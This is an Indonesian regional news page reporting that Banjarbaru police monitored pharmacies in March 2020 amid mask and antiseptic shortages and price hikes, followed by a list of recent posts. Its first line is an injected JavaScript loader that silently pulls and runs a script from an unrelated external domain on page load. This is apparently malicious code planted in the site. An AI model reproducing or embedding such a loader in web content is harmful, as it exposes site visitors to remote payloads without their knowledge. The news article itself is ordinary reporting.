(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Masker dan Antiseptic Langka di Banjarbaru, Polisi Lakukan Pengawasan


KANALKALIMANTAN.COM, BANJARBARU – Polres Banjarbaru melalui Satuan Reserse Kriminal Unit I Tipidter yang dipimpin Iptu Sawabiyanto melakukan pengawasan dan koordinasi terhadap toko obat dan apotik yang berada di Kota Banjarbaru, Rabu (4/3/2020). Kegiatan ini bertujuan untuk melakukan pengecekan terhadap harga alat kesehatan berupa masker dan antiseptic yang dijual oleh toko obat dan apotek.

“Harga untuk alat kesehatan berupa masker dan antiseptic mengalami kenaikan secata signifikan, karena harga beli dari distributor sudah tinggi,” ucap salah satu pemilik toko obat.

Biasanya harga 1 box yang semula Rp 200 ribu, namun sekarang bisa mencapai harga Rp 500 ribu per boxnya. Begitu pula dengan antiseptic ukuran 500 ml yang semula Rp 60.000.- kini menjadi Rp 300.000.-, harga tersbut beragam dilihat dari merk masker dan antiseptic.

“Kelangkaan dan kenaikan terjadi karena pasokan dari pulau Jawa tidak ada pengiriman dan harga beli dari distributor di sana sudah tinggi.” ucap pemilik toko obat.

Kapolres Banjarbaru AKBP Doni Hadi Santoso S.I.K.,M.H melalui Kasubbag Humas Polres Banjarbaru mengatakan pihaknya akan terus melakukan pengawasan atas kelangkaan masker dan antiseptic bekerjasama dengan Instansi terkait.

“Pengawasan akan terus dilakukan selama kelangkaan masker dan antiseptic di Kota Banjarbaru. Kami juga menghimbau kepada pemilik toko obat dan apotek agar tidak menimbun alat kesehatan berupa masker dan antiseptic, Kalau ada kelangkaan karena permainan pedagang atau motif ingin mencari untung dengan menaikan harga, maka kita siap tindak tegas.” Tegasnya.

Undang-Undang Republik Indonesia Nomor 7 tahun 2014 tentang Perdagangan, Pasal 1o7 berbunyi, Pelaku Usaha yang menyimpan Barang kebutuhan pokok dan/atau Barang penting dalam jumlah dan waktu tertentu pada saat terjadi kelangkaan Barang, gejolak harga, dan/atau hambatan lalu lintas Perdagangan Barang sebagaimana dimaksud dalam Pasal 29 ayat (1) dipidana dengan pidana penjara paling lama 5 (lima) tahun dan/atau pidana denda paling banyak Rp50 miliar. (kanalkalimantan.com/rico)


Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.